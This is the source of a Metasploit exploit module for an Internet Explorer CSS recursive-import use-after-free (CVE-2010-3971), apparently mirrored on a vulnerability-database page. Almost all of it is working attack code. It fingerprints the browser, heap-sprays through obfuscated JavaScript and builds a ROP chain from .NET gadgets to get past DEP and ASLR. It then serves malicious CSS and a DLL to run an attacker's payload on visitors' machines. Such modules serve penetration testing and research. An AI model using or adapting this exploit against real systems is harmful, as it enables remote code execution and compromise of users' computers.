##
# $Id: ms11_003_ie_css_import.rb 11730 2011-02-08 23:31:44Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking # Need more love for Great
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "7.0", # Should be 6
:ua_maxver => "8.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:vuln_test => nil, # no way to test without just trying it
})
def initialize(info = {})
super(update_info(info,
'Name' => 'Internet Explorer CSS Recursive Import Use After Free',
'Description' => %q{
This module exploits a memory corruption vulnerability within Microsoft\'s
HTML engine (mshtml). When parsing an HTML page containing a recursive CSS
import, a C++ object is deleted and later reused. This leads to arbitrary
code execution.
This exploit utilizes a combination of heap spraying and the
.NET 2.0 'mscorie.dll' module to bypass DEP and ASLR. This module does not
opt-in to ASLR. As such, this module should be reliable on all Windows
versions with .NET 2.0.50727 installed.
},
'License' => MSF_LICENSE,
'Author' =>
[
'passerby', # Initial discovery / report
'd0c_s4vage', # First working public exploit
'jduck' # Metasploit module (ROP, @WTFuzz spray)
],
'Version' => '$Revision: 11730 $',
'References' =>
[
[ 'CVE', '2010-3971' ],
[ 'OSVDB', '69796' ],
[ 'BID', '45246' ],
[ 'URL', 'http://www.microsoft.com/technet/security/advisory/2488013.mspx' ],
[ 'URL', 'http://www.wooyun.org/bugs/wooyun-2010-0885' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2010/Dec/110' ],
[ 'URL', 'http://xcon.xfocus.net/XCon2010_ChenXie_EN.pdf' ], # .NET 2.0 ROP (slide 25)
[ 'URL', 'http://www.breakingpointsystems.com/community/blog/ie-vulnerability/' ],
[ 'MSB', 'MS11-003' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
[ 'Internet Explorer 8',
{
'Ret' => 0x105ae020,
'OnePtrOff' => 0x18,
'DerefOff' => 0x30,
'FlagOff' => 0x54,
'CallDeref1' => 0x20,
'SignedOff' => 0x1c,
'CallDeref2' => 0x24,
'CallDeref3' => 0x00,
'CallDeref4' => 0x20,
'Deref4Off' => 0x08
}
],
[ 'Internet Explorer 7',
{
'Ret' => 0x105ae020,
'OnePtrOff' => 0x14,
'DerefOff' => 0x5c,
'FlagOff' => 0x34,
'CallDeref1' => 0x1c,
'SignedOff' => 0x18,
'CallDeref2' => 0x20,
'CallDeref3' => 0x00,
'CallDeref4' => 0x20,
'Deref4Off' => 0x08
}
],
# For now, treat the IE6 target the same as teh debug target.
[ 'Internet Explorer 6',
{
'Ret' => 0xc0c0c0c0,
'OnePtrOff' => 0x14,
'DerefOff' => 0x5c,
'FlagOff' => 0x34,
'CallDeref1' => 0x1c,
'SignedOff' => 0x18,
'CallDeref2' => 0x20,
'CallDeref3' => 0x00,
'CallDeref4' => 0x20,
'Deref4Off' => 0x08
}
],
[ 'Debug Target (Crash)',
{
'Ret' => 0xc0c0c0c0,
'OnePtrOff' => 0,
'DerefOff' => 4,
'FlagOff' => 8,
'CallDeref1' => 0xc,
'SignedOff' => 0x10,
'CallDeref2' => 0x14,
'CallDeref3' => 0x18,
'CallDeref4' => 0x1c,
'Deref4Off' => 0x20
}
]
],
# Full-disclosure post was Dec 8th, original blog Nov 29th
'DisclosureDate' => 'Nov 29 2010',
'DefaultTarget' => 0))
end
def auto_target(cli, request)
mytarget = nil
agent = request.headers['User-Agent']
#print_status("Checking user agent: #{agent}")
if agent !~ /\.NET CLR 2\.0\.50727/
print_error("#{cli.peerhost}:#{cli.peerport} Target machine does not have the .NET CLR 2.0.50727")
return nil
end
if agent =~ /MSIE 6\.0/
mytarget = targets[3]
elsif agent =~ /MSIE 7\.0/
mytarget = targets[2]
elsif agent =~ /MSIE 8\.0/
mytarget = targets[1]
else
print_error("#{cli.peerhost}:#{cli.peerport} Unknown User-Agent #{agent}")
end
mytarget
end
def on_request_uri(cli, request)
print_status("#{cli.peerhost}:#{cli.peerport} Received request for %s" % request.uri.inspect)
mytarget = target
if target.name == 'Automatic'
mytarget = auto_target(cli, request)
if (not mytarget)
send_not_found(cli)
return
end
end
#print_status("#{cli.peerhost}:#{cli.peerport} Automatically selected target: #{mytarget.name}")
buf_addr = mytarget.ret
css_name = [buf_addr].pack('V') * (16 / 4)
# We stick in a placeholder string to replace after UTF-16 encoding
placeholder = "a" * (css_name.length / 2)
uni_placeholder = Rex::Text.to_unicode(placeholder)
if request.uri == get_resource() or request.uri =~ /\/$/
print_status("#{cli.peerhost}:#{cli.peerport} Sending #{self.refname} redirect")
redir = get_resource()
redir << '/' if redir[-1,1] != '/'
redir << rand_text_alphanumeric(4+rand(4))
redir << '.html'
send_redirect(cli, redir)
elsif request.uri =~ /\.html?$/
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
print_status("#{cli.peerhost}:#{cli.peerport} Sending #{self.refname} HTML")
# Generate the ROP payload
rvas = rvas_mscorie_v2()
rop_stack = generate_rop(buf_addr, rvas)
fix_esp = rva2addr(rvas, 'leave / ret')
ret = rva2addr(rvas, 'ret')
pivot1 = rva2addr(rvas, 'call [ecx+4] / xor eax, eax / pop ebp / ret 8')
pivot2 = rva2addr(rvas, 'xchg eax, esp / mov eax, [eax] / mov [esp], eax / ret')
# Append the payload to the rop_stack
rop_stack << p.encoded
# Build the deref-fest buffer
len = 0x84 + rop_stack.length
special_sauce = rand_text_alpha(len)
# This ptr + off must contain 0x00000001
special_sauce[mytarget['OnePtrOff'], 4] = [1].pack('V')
# Pointer that is dereferenced to get the flag
special_sauce[mytarget['DerefOff'], 4] = [buf_addr].pack('V')
# Low byte must not have bit 1 set
no_bit1 = rand(0xff) & ~2
special_sauce[mytarget['FlagOff'], 1] = [no_bit1].pack('V')
# These are deref'd to figure out what to call
special_sauce[mytarget['CallDeref1'], 4] = [buf_addr].pack('V')
special_sauce[mytarget['CallDeref2'], 4] = [buf_addr].pack('V')
special_sauce[mytarget['CallDeref3'], 4] = [buf_addr + mytarget['Deref4Off']].pack('V')
# Finally, this one becomes eip
special_sauce[mytarget['CallDeref4'] + mytarget['Deref4Off'], 4] = [pivot1].pack('V')
# This byte must be signed (shorter path to flow control)
signed_byte = rand(0xff) | 0x80
special_sauce[mytarget['SignedOff'], 1] = [signed_byte].pack('C')
# These offsets become a fix_esp ret chain ..
special_sauce[0x04, 4] = [pivot2].pack('V') # part two of our stack pivot!
special_sauce[0x0c, 4] = [buf_addr + 0x84 - 4].pack('V') # becomes ebp, for fix esp
special_sauce[0x10, 4] = [fix_esp].pack('V') # our stack pivot ret's to this (fix_esp, from eax)
# Add in the rest of the ROP stack
special_sauce[0x84, rop_stack.length] = rop_stack
# Format for javascript use
special_sauce = Rex::Text.to_unescape(special_sauce)
js_function = rand_text_alpha(rand(100)+1)
# Construct the javascript
custom_js = <<-EOS
function #{js_function}() {
heap = new heapLib.ie(0x20000);
var heapspray = unescape("#{special_sauce}");
while(heapspray.length < 0x1000) heapspray += unescape("%u4444");
var heapblock = heapspray;
while(heapblock.length < 0x40000) heapblock += heapblock;
finalspray = heapblock.substring(2, 0x40000 - 0x21);
for(var counter = 0; counter < 500; counter++) { heap.alloc(finalspray); }
var vlink = document.createElement("link");
vlink.setAttribute("rel", "Stylesheet");
vlink.setAttribute("type", "text/css");
vlink.setAttribute("href", "#{placeholder}")
document.getElementsByTagName("head")[0].appendChild(vlink);
}
EOS
opts = {
'Symbols' => {
'Variables' => %w{ heapspray vlink heapblock heap finalspray counter },
'Methods' => %w{ prepare }
}
}
custom_js = ::Rex::Exploitation::ObfuscateJS.new(custom_js, opts)
js = heaplib(custom_js)
dll_uri = get_resource()
dll_uri << '/' if dll_uri[-1,1] != '/'
dll_uri << "generic-" + Time.now.to_i.to_s + ".dll"
# Construct the final page
html = <<-EOS
<html>
<head>
<script language='javascript'>
#{js}
</script>
</head>
<body onload='#{js_function}()'>
<object classid="#{dll_uri}#GenericControl">
</body>
</html>
EOS
html = "\xff\xfe" + Rex::Text.to_unicode(html)
html.gsub!(uni_placeholder, css_name)
send_response(cli, html, { 'Content-Type' => 'text/html' })
elsif request.uri =~ /\.dll$/
print_status("#{cli.peerhost}:#{cli.peerport} Sending #{self.refname} .NET DLL")
# Generate a .NET v2.0 DLL, note that it doesn't really matter what this contains since we don't actually
# use it's contents ...
ibase = (0x2000 | rand(0x8000)) << 16
dll = Msf::Util::EXE.to_dotnetmem(ibase, rand_text(16))
# Send a .NET v2.0 DLL down
send_response(cli, dll,
{
'Content-Type' => 'application/x-msdownload',
'Connection' => 'close',
'Pragma' => 'no-cache'
})
else
# Defines two different CSS import styles
import_styles = [
"@import url(\"#{placeholder}\");\n",
"@import \"#{placeholder}\";\n"
]
# Choose four imports of random style
css = ''
4.times {
css << import_styles[rand(import_styles.length)]
}
css = "\xff\xfe" + Rex::Text.to_unicode(css)
css.gsub!(uni_placeholder, css_name)
print_status("#{cli.peerhost}:#{cli.peerport} Sending #{self.refname} CSS")
send_response(cli, css, { 'Content-Type' => 'text/css' })
end
# Handle the payload
handler(cli)
end
def rvas_mscorie_v2()
# mscorie.dll version v2.0.50727.3053
# Just return this hash
{
'call [ecx+4] / xor eax, eax / pop ebp / ret 8' => 0x237e,
'xchg eax, esp / mov eax, [eax] / mov [esp], eax / ret' => 0x575b,
'leave / ret' => 0x25e5,
'ret' => 0x25e5+1,
'call [ecx] / pop ebp / ret 0xc' => 0x1ec4,
'pop eax / ret' => 0x5ba1,
'pop ebx / ret' => 0x54c0,
'pop ecx / ret' => 0x1e13,
'pop esi / ret' => 0x1d9a,
'pop edi / ret' => 0x2212,
'mov [ecx], eax / mov al, 1 / pop ebp / ret 0xc' => 0x61f6,
'movsd / mov ebp, 0x458bffff / sbb al, 0x3b / ret' => 0x6154,
}
end
def generate_rop(buf_addr, rvas)
# ROP fun! (XP SP3 English, Dec 15 2010)
rvas.merge!({
# Instructions / Name => RVA
'BaseAddress' => 0x63f00000,
'imp_VirtualAlloc' => 0x10f4
})
rop_stack = [
# Allocate an RWX memory segment
'pop ecx / ret',
'imp_VirtualAlloc',
'call [ecx] / pop ebp / ret 0xc',
0, # lpAddress
0x1000, # dwSize
0x3000, # flAllocationType
0x40, # flProt
:unused,
# Copy the original payload
'pop ecx / ret',
:unused,
:unused,
:unused,
:memcpy_dst,
'mov [ecx], eax / mov al, 1 / pop ebp / ret 0xc',
:unused,
'pop esi / ret',
:unused,
:unused,
:unused,
:memcpy_src,
'pop edi / ret',
0xdeadf00d # to be filled in above
]
(0x200 / 4).times {
rop_stack << 'movsd / mov ebp, 0x458bffff / sbb al, 0x3b / ret'
}
# Execute the payload ;)
rop_stack << 'call [ecx] / pop ebp / ret 0xc'
rop_stack.map! { |e|
if e.kind_of? String
# Meta-replace (RVA)
raise RuntimeError, "Unable to locate key: \"#{e}\"" if not rvas[e]
rvas['BaseAddress'] + rvas[e]
elsif e == :unused
# Randomize
rand_text(4).unpack('V').first
elsif e == :memcpy_src
# Based on stack length..
buf_addr + 0x84 + (rop_stack.length * 4)
elsif e == :memcpy_dst
# Store our new memory ptr into our buffer for later popping :)
buf_addr + 0x84 + (21 * 4)
else
# Literal
e
end
}
rop_stack.pack('V*')
end
def rva2addr(rvas, key)
raise RuntimeError, "Unable to locate key: \"#{key}\"" if not rvas[key]
rvas['BaseAddress'] + rvas[key]
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation